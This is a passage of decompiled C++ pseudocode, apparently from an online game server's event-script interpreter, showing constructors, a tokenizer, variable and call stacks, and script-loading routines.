PineEventScriptNode::SysFuncSQRT::SysFuncSQRT(PineEventScriptNode::SysFuncSQRT *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncSQRT::_vftable_; } // 650BEC: using guessed type int (__stdcall *PineEventScriptNode__SysFuncSQRT___vftable_[26])(int buffer, int ps, int argumentlist); //----- (004BB5B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncDistance::SysFuncDistance(PineEventScriptNode::SysFuncDistance *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncDistance::_vftable_; } // 650BF0: using guessed type int (__stdcall *PineEventScriptNode__SysFuncDistance___vftable_[25])(int buffer, int x2, int argumentlist); //----- (004BB5C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineMobRegen::SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineMobRegen *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineMobRegen::_vftable_; } // 650BF4: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineMobRegen___vftable_[24])(int buffer, int ps, int argumentlist); //----- (004BB5D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineDoorBuild::SysFuncShineDoorBuild(PineEventScriptNode::SysFuncShineDoorBuild *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineDoorBuild::_vftable_; } // 650BF8: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineDoorBuild___vftable_[23])(int buffer, int ps, int argumentlist); //----- (004BB5E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineNPCStand::SysFuncShineNPCStand(PineEventScriptNode::SysFuncShineNPCStand *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineNPCStand::_vftable_; } // 650BFC: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineNPCStand___vftable_[22])(int buffer, int ps, int argumentlist); //----- (004BB5F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineChange2Mob::SysFuncShineChange2Mob(PineEventScriptNode::SysFuncShineChange2Mob *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineChange2Mob::_vftable_; } // 650C00: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineChange2Mob___vftable_[21])(int buffer, int ps, int argumentlist); //----- (004BB600) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineChange2Door::SysFuncShineChange2Door(PineEventScriptNode::SysFuncShineChange2Door *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineChange2Door::_vftable_; } // 650C04: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineChange2Door___vftable_[20])(int buffer, int ps, int argumentlist); //----- (004BB610) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineChange2NPC::SysFuncShineChange2NPC(PineEventScriptNode::SysFuncShineChange2NPC *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineChange2NPC::_vftable_; } // 650C08: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineChange2NPC___vftable_[19])(int buffer, int ps, int argumentlist); //----- (004BB620) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCount::SysFuncShineCount(PineEventScriptNode::SysFuncShineCount *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCount::_vftable_; } // 650C0C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCount___vftable_[18])(int buffer, int ps, int argumentlist); //----- (004BB630) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineRestSecond::SysFuncShineRestSecond(PineEventScriptNode::SysFuncShineRestSecond *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineRestSecond::_vftable_; } // 650C10: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineRestSecond___vftable_[17])(int buffer, int ps, int argumentlist); //----- (004BB640) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCharClass::SysFuncShineCharClass(PineEventScriptNode::SysFuncShineCharClass *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCharClass::_vftable_; } // 650C14: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCharClass___vftable_[16])(int buffer, int ps, int argumentlist); //----- (004BB650) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCharName::SysFuncShineCharName(PineEventScriptNode::SysFuncShineCharName *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCharName::_vftable_; } // 650C18: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCharName___vftable_[15])(int buffer, int ps, int argumentlist); //----- (004BB660) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineDeadNumber::SysFuncShineDeadNumber(PineEventScriptNode::SysFuncShineDeadNumber *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineDeadNumber::_vftable_; } // 650C1C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineDeadNumber___vftable_[14])(int buffer, int ps, int argumentlist); //----- (004BB670) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCircularScatter::SysFuncShineCircularScatter(PineEventScriptNode::SysFuncShineCircularScatter *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCircularScatter::_vftable_; } // 650C20: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCircularScatter___vftable_[13])(int buffer, int ps, int argumentlist); //----- (004BB680) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::SysFuncShineRemoveFisrt(PineEventScriptNode::SysFuncShineRemoveFisrt *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineRemoveFisrt::_vftable_; } // 650C24: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineRemoveFisrt___vftable_[12])(int buffer, int ps, int argumentlist); //----- (004BB690) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineGetObjectList(PineEventScriptNode::SysFuncShineGetObjectList *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineGetObjectList::_vftable_; } // 650C28: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineGetObjectList___vftable_[11])(int buffer, int ps, int argumentlist); //----- (004BB6A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineKQResultList::SysFuncShineKQResultList(PineEventScriptNode::SysFuncShineKQResultList *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineKQResultList::_vftable_; } // 650C2C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineKQResultList___vftable_[10])(int buffer, int ps, int argumentlist); //----- (004BB6B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineKQTop::SysFuncShineKQTop(PineEventScriptNode::SysFuncShineKQTop *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineKQTop::_vftable_; } // 650C30: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineKQTop___vftable_[9])(int buffer, int ps, int argumentlist); //----- (004BB6C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineDistance::SysFuncShineDistance(PineEventScriptNode::SysFuncShineDistance *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineDistance::_vftable_; } // 650C34: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineDistance___vftable_[8])(int buffer, int ps, int argumentlist); //----- (004BB6D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShinePlayerInArea::SysFuncShinePlayerInArea(PineEventScriptNode::SysFuncShinePlayerInArea *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShinePlayerInArea::_vftable_; } // 650C38: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShinePlayerInArea___vftable_[7])(int buffer, int ps, int argumentlist); //----- (004BB6E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineRange::SysFuncShineRange(PineEventScriptNode::SysFuncShineRange *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineRange::_vftable_; } // 650C3C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineRange___vftable_[6])(int buffer, int ps, int argumentlist); //----- (004BB6F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineIsGateUse::SysFuncShineIsGateUse(PineEventScriptNode::SysFuncShineIsGateUse *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineIsGateUse::_vftable_; } // 650C40: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineIsGateUse___vftable_[5])(int buffer, int ps, int argumentlist); //----- (004BB700) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineGetWinnerGuild::SysFuncShineGetWinnerGuild(PineEventScriptNode::SysFuncShineGetWinnerGuild *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineGetWinnerGuild::_vftable_; } // 650C44: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineGetWinnerGuild___vftable_[4])(int buffer, int ps, int argumentlist); //----- (004BB710) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineGetLoseGuild::SysFuncShineGetLoseGuild(PineEventScriptNode::SysFuncShineGetLoseGuild *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineGetLoseGuild::_vftable_; } // 650C48: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineGetLoseGuild___vftable_[3])(int buffer, int ps, int argumentlist); //----- (004BB720) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineWhereIs::SysFuncShineWhereIs(PineEventScriptNode::SysFuncShineWhereIs *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineWhereIs::_vftable_; } // 650C4C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineWhereIs___vftable_[2])(int buffer, int ps, int argumentlist); //----- (004BB730) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineSPrintF1::SysFuncShineSPrintF1(PineEventScriptNode::SysFuncShineSPrintF1 *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)&PineEventScriptNode::SysFuncShineSPrintF1::_vftable_; } // 650C50: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineSPrintF1___vftable_)(int buffer, int ps, int argumentlist); //----- (004BB740) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineSPrintF1 *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncBase::_vftable_; } // 650BE4: using guessed type int (__stdcall *PineEventScriptNode__SysFuncBase___vftable_[28])(int buffer, int ps, int argumentlist); //----- (004BB750) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::ArgumentList::al_GetArgument(PineEventScriptNode::ArgumentList *this, unsigned int sub, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineScriptToken *result; // eax@1 result = buffer; buffer->pst_Buffer[0] = 0; if ( sub < 0xA ) { if ( this->al_Express[sub] ) result = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))this->al_Express[sub]->vfptr->sa_Calculate)( buffer, ps); } return result; } //----- (004BB780) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncBase::sfb_Calculate(PineEventScriptNode::SysFuncBase *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *result; // eax@1 result = buffer; buffer->pst_Buffer[0] = 0; return result; } //----- (004BB790) -------------------------------------------------------- void __thiscall PineEventScriptNode::Identify::Identify(PineEventScriptNode::Identify *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; this->i_Id = 0; this->i_Exp = 0; } // 650C84: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); //----- (004BB7C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Statement::_Statement(PineEventScriptNode::Statement *this) { PineEventScriptNode::Statement *v1; // esi@1 PineEventScriptNode::ScriptAtom *v2; // eax@1 v1 = this; v2 = this->s_Statement; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Statement::_vftable_; if ( v2 ) { v2->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v2); } v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 650CB4: using guessed type int (__stdcall *PineEventScriptNode__Statement___vftable_)(int tr); //----- (004BB7F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::BlockName::_BlockName(PineEventScriptNode::BlockName *this) { this->bn_Name.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (004BB800) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateBreak::sb_CloneMe(PineEventScriptNode::StateBreak *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(8u); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateBreak::_vftable_; result[1].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 650CD4: using guessed type int (__stdcall *PineEventScriptNode__StateBreak___vftable_)(int tr); //----- (004BB830) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Condition::sa_Load(PineEventScriptNode::Condition *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Condition *v2; // esi@1 v2 = this; return (unsigned __int16)this->c_Left.baseclass_0.vfptr->sa_Load(&this->c_Left, tr) && (unsigned __int16)v2->c_Oper.baseclass_0.vfptr->sa_Load(&v2->c_Oper, tr) && (unsigned __int16)v2->c_Right.baseclass_0.vfptr->sa_Load(&v2->c_Right, tr); } //----- (004BB880) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Block::sa_BlockNameCheck(PineEventScriptNode::Block *this, PineScriptToken *exitblock) { unsigned __int16 result; // ax@2 if ( exitblock ) result = PineScriptToken::operator__(&this->b_BlockName.bn_Name.i_Identify, exitblock->pst_Buffer) != 0; else result = 1; return result; } //----- (004BB8B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_DelItemAction(ItemAttributeClass *this, ItemTotalInformation *iti, SHINE_PUT_ON_BELONGED_ITEM IsPutOnBelonged) { return 0; } //----- (004BB8C0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Identify::sa_Calculate(PineEventScriptNode::Identify *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Id *v3; // edx@1 PineScriptToken *result; // eax@2 PineEventScriptNode::Express *v5; // edx@3 PineScriptToken rst; // [sp+8h] [bp-104h]@1 unsigned int v7; // [sp+108h] [bp-4h]@1 v7 = (unsigned int)&rst ^ __security_cookie; v3 = this->i_Id; if ( v3 ) { result = v3->baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)v3, buffer, ps); } else { v5 = this->i_Exp; if ( v5 && (rst.pst_Buffer[0] = 0, (int)v5->baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)v5, &rst, ps)) ) { memcpy(buffer, &rst, 0x100u); result = buffer; } else { result = 0; } } return result; } //----- (004BB980) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SystemFunction::sa_Calculate(PineEventScriptNode::SystemFunction *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { return (PineScriptToken *)(**(int (__stdcall ***)(_DWORD, _DWORD, _DWORD))this->sfm_Function)( buffer, ps, &this->sfm_ArgumentList); } //----- (004BB9A0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Number::sa_Calculate(PineEventScriptNode::String *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineScriptToken *result; // eax@1 result = buffer; memcpy(buffer, &this->s_String, 0x100u); return result; } //----- (004BB9C0) -------------------------------------------------------- int __thiscall PineScriptReader::CharacterReader::cr_GetCh(PineScriptReader::CharacterReader *this) { PineScriptReader::CharacterReader *i; // esi@1 int result; // eax@2 int v3; // eax@4 LABEL_2: for ( i = this; ; ++*i->cr_Line ) { result = getc(i->cr_fp); if ( result == 10 ) break; if ( result != 59 ) return result; while ( 1 ) { v3 = getc(i->cr_fp); if ( v3 == 10 ) break; if ( v3 == -1 ) goto LABEL_2; } } ++*i->cr_Line; return result; } //----- (004BBA00) -------------------------------------------------------- void __thiscall PineScriptReader::CharacterReader::cr_SkipSpace(PineScriptReader::CharacterReader *this) { PineScriptReader::CharacterReader *v1; // esi@1 int v2; // eax@2 v1 = this; do { v2 = v1->cr_UngetBuffer; if ( v2 == -1 ) v2 = PineScriptReader::CharacterReader::cr_GetCh(v1); else v1->cr_UngetBuffer = -1; } while ( v2 <= 32 && v2 != -1 ); v1->cr_UngetBuffer = v2; } //----- (004BBA30) -------------------------------------------------------- void __thiscall PineScriptReader::TokenReader::_TokenReader(PineScriptReader::TokenReader *this) { if ( this->tr_CharReader.cr_fp ) fclose(this->tr_CharReader.cr_fp); } //----- (004BBA40) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadString(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *v2; // edi@1 const void *v3; // esi@1 int v4; // eax@2 PineScriptToken *result; // eax@9 int v6; // eax@11 v2 = this; v3 = &this->tr_Buffer; this->tr_BufPnt = 0; this->tr_Buffer.pst_Buffer[0] = 34; while ( 1 ) { ++v2->tr_BufPnt; v4 = v2->tr_CharReader.cr_UngetBuffer; if ( v4 == -1 ) v4 = PineScriptReader::CharacterReader::cr_GetCh(&v2->tr_CharReader); else v2->tr_CharReader.cr_UngetBuffer = -1; if ( v4 == 34 ) break; if ( v4 == 10 ) { v2->tr_ErrCode = "String over line"; return 0; } if ( v4 == -1 ) { v2->tr_ErrCode = "File end in string"; return 0; } v2->tr_Buffer.pst_Buffer[v2->tr_BufPnt] = v4; } v2->tr_Buffer.pst_Buffer[v2->tr_BufPnt] = 34; v6 = v2->tr_BufPnt + 1; v2->tr_BufPnt = v6; v2->tr_Buffer.pst_Buffer[v6] = 0; result = tkn; memcpy(tkn, v3, 0x100u); return result; } //----- (004BBAF0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_isAlNum(PineScriptReader::TokenReader *this, int ch) { return ch >= 48 && ch <= 57 || ch >= 65 && ch <= 90 || ch >= 97 && ch <= 122 || ch == 95; } //----- (004BBB30) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_IsOper(PineScriptReader::TokenReader *this, int ch) { return (ch < 48 || ch > 57) && (ch < 65 || ch > 90) && (ch < 97 || ch > 122) && ch != 95; } //----- (004BBB80) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatementList::sl_AddStatement(PineEventScriptNode::StatementList *this, PineEventScriptNode::StatementBase *sb) { int v2; // edx@1 unsigned __int16 result; // ax@2 v2 = this->sl_Point; if ( (unsigned int)v2 < 0x80 ) { this->sl_Array[v2] = sb; ++this->sl_Point; result = 1; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); result = 0; } return result; } //----- (004BBBC0) -------------------------------------------------------- void __thiscall PineScriptStack::VariableStack::VarArray::VarArray(PineScriptStack::VariableStack::VarArray *this) { this->varname.pst_Buffer[0] = 0; this->varcontent.pst_Buffer[0] = 0; } //----- (004BBBD0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::VariableStack::vs_FindVariable(PineScriptStack::VariableStack *this, PineScriptToken *varname) { int v2; // edi@1 const char *v3; // ebp@2 PineScriptToken *result; // eax@6 PineScriptStack::VariableStack *v5; // [sp+10h] [bp-4h]@1 v2 = this->vs_StackPoint - 1; v5 = this; if ( v2 < 0 ) { LABEL_5: if ( varname ) { AssertClass::ac_AssertFail( &shineassert, "PineScriptStack::VariableStack::vs_FindVariable : Variable not found", varname->pst_Buffer); result = 0; } else { AssertClass::ac_AssertFail( &shineassert, "PineScriptStack::VariableStack::vs_FindVariable : Variable not found", 1); result = 0; } } else { v3 = (char *)this + 512 * v2; while ( strcmp(v3, varname->pst_Buffer) ) { --v2; v3 -= 512; if ( v2 < 0 ) goto LABEL_5; } result = &v5->vs_Stack[v2].varcontent; } return result; } //----- (004BBC80) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::VariableStack::vs_Push(PineScriptStack::VariableStack *this, PineScriptToken *varname) { int v2; // edi@1 PineScriptToken *result; // eax@3 v2 = this->vs_StackPoint; if ( (unsigned int)v2 < 0x7F ) { if ( varname ) { memcpy((char *)this + 512 * v2, varname, 0x100u); result = &this->vs_Stack[this->vs_StackPoint++].varcontent; } else { result = 0; } } else { if ( varname ) { AssertClass::ac_AssertFail(&shineassert, "Variable stack overflow", varname->pst_Buffer); result = 0; } else { AssertClass::ac_AssertFail(&shineassert, "Variable stack overflow", 1); result = 0; } } return result; } //----- (004BBD00) -------------------------------------------------------- void __thiscall PineScriptStack::ProcessStack::_ProcessStack(PineScriptStack::ProcessStack *this) { _eh_vector_destructor_iterator_( &this->ps_VarStack, 0x200u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004BBD20) -------------------------------------------------------- void __thiscall PineScriptStack::ProcessStack::ps_Ready(PineScriptStack::ProcessStack *this, PineEventScriptNode::Script *script) { int v2; // esi@1 this->ps_StackPoint = 0; this->ps_Stack[0].ip = 0; v2 = this->ps_StackPoint; this->ps_Script = script; this->ps_Stack[v2].node = (PineEventScriptNode::ScriptAtom *)script; *(_DWORD *)&this->gap10114[20] = 0; *(_DWORD *)&this->gap10114[16] = 0; *(_DWORD *)&this->gap10114[28] = 0; *(_DWORD *)&this->gap10114[24] = 0; this->ps_VarStack.vs_StackPoint = 0; } //----- (004BBD70) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Step(PineScriptStack::ProcessStack *this, int handle) { unsigned __int16 result; // ax@2 if ( this->ps_Stack[this->ps_StackPoint].node ) result = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD))this->ps_Stack[this->ps_StackPoint].node->vfptr->sa_Step)( handle, this, &this->ps_Stack[this->ps_StackPoint].ip); else result = 0; return result; } //----- (004BBDB0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_PushVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname) { return PineScriptStack::VariableStack::vs_Push(&this->ps_VarStack, varname); } //----- (004BBDC0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Push(PineScriptStack::ProcessStack *this, PineEventScriptNode::ScriptAtom *script) { int v2; // eax@1 unsigned __int16 result; // ax@2 int v4; // eax@3 v2 = this->ps_StackPoint; if ( (unsigned int)v2 < 0x1F ) { v4 = v2 + 1; this->ps_StackPoint = v4; this->ps_Stack[v4].ip = 0; this->ps_Stack[this->ps_StackPoint].node = script; result = 1; } else { result = 0; } return result; } //----- (004BBE00) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Pop(PineScriptStack::ProcessStack *this) { int v1; // eax@1 unsigned __int16 result; // ax@2 v1 = this->ps_StackPoint; if ( v1 ) { this->ps_StackPoint = v1 - 1; result = 1; } else { result = 0; } return result; } //----- (004BBE20) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScript::pes_Load(PineEventScript *this, char *fname, int *errline) { PineEventScript *v3; // esi@1 unsigned __int16 v4; // si@2 unsigned __int16 result; // ax@4 FILE *tr; // [sp+4h] [bp-228h]@1 int *v7; // [sp+8h] [bp-224h]@1 int v8; // [sp+Ch] [bp-220h]@1 char v9; // [sp+10h] [bp-21Ch]@1 char v10; // [sp+110h] [bp-11Ch]@1 int *v11; // [sp+218h] [bp-14h]@1 unsigned int v12; // [sp+21Ch] [bp-10h]@1 int v13; // [sp+228h] [bp-4h]@1 v12 = (unsigned int)&tr ^ __security_cookie; v3 = this; v8 = -1; tr = fopen(fname, "r"); v7 = errline; *errline = 1; v10 = 0; v9 = 0; v11 = errline; v13 = 0; if ( tr ) { v4 = v3->pes_Script.baseclass_0.vfptr->sa_Load( (PineEventScriptNode::ScriptAtom *)v3, (PineScriptReader::TokenReader *)&tr); if ( tr ) fclose(tr); } __security_check_cookie((unsigned int)&tr ^ v12); return result; } //----- (004BBF00) -------------------------------------------------------- void __thiscall PineEventScriptNode::AutoRegList::AutoRegList(PineEventScriptNode::AutoRegList *this, PineEventScriptNode::StatementBase *pScript) { if ( ps_statementlist.sl_Point < 0x80u ) ps_statementlist.sl_Array[ps_statementlist.sl_Point++] = pScript; else AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } //----- (004BBF50) -------------------------------------------------------- void __thiscall std::basic_ios>::_basic_ios>(std::basic_ios > *this) { this->baseclass_0.vfptr = (std::ios_baseVtbl *)&std::basic_ios>::_vftable_; std::ios_base::_ios_base(&this->baseclass_0); } // 650D8C: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004BBF60) -------------------------------------------------------- void __thiscall std::basic_istream>::_basic_istream>(std::basic_istream > *this) { *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 2) + 4) - 8) = std::basic_istream>::_vftable_; } // 650D90: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); //----- (004BBF70) -------------------------------------------------------- void __thiscall std::basic_iostream>::_basic_iostream>(std::basic_iostream > *this) { char *v1; // eax@2 *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 3) + 4) - 12) = &std::basic_iostream>::_vftable_; if ( this == (std::basic_iostream > *)12 ) v1 = 0; else v1 = (char *)this - 4; *(_DWORD *)&v1[*(_DWORD *)(*(_DWORD *)v1 + 4)] = &std::basic_ostream>::_vftable_; *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 3) + 4) - 12) = std::basic_istream>::_vftable_; } // 650D88: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); // 650D90: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 650D94: using guessed type int (__stdcall *std__basic_iostream_char_std__char_traits_char_____vftable_)(char); //----- (004BBFB0) -------------------------------------------------------- void *__thiscall std::basic_ios>::_scalar_deleting_destructor_(std::basic_ios > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::basic_ios>::_basic_ios>(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BBFD0) -------------------------------------------------------- void __thiscall std::basic_stringbuf_std::allocator>::_Tidy(std::basic_stringbuf,std::allocator > *this) { std::basic_stringbuf,std::allocator > *v1; // esi@1 int v2; // eax@3 v1 = this; if ( this->_Mystate & 1 ) operator delete(*(void **)this->baseclass_0._IGfirst); *v1->baseclass_0._IGfirst = 0; *v1->baseclass_0._IGnext = 0; *v1->baseclass_0._IGcount = 0; *v1->baseclass_0._IPfirst = 0; *v1->baseclass_0._IPnext = 0; *v1->baseclass_0._IPcount = 0; v2 = v1->_Mystate & 0xFFFFFFFE; v1->_Seekhigh = 0; v1->_Mystate = v2; } //----- (004BC030) -------------------------------------------------------- void __thiscall std::basic_streambuf>::_Init(std::basic_streambuf > *this) { this->_IGnext = &this->_Gnext; this->_IPnext = &this->_Pnext; this->_IGfirst = &this->_Gfirst; this->_IGcount = &this->_Gcount; this->_IPfirst = &this->_Pfirst; this->_IPcount = &this->_Pcount; this->_Pfirst = 0; *this->_IPnext = 0; *this->_IPcount = 0; *this->_IGfirst = 0; *this->_IGnext = 0; *this->_IGcount = 0; } //----- (004BC090) -------------------------------------------------------- void __thiscall std::basic_ostream>::_Sentry_base::__Sentry_base(std::basic_istream >::sentry *this) { int v1; // eax@1 v1 = *(_DWORD *)&this->baseclass_0._Myistr->gap8[*(_DWORD *)(*(_DWORD 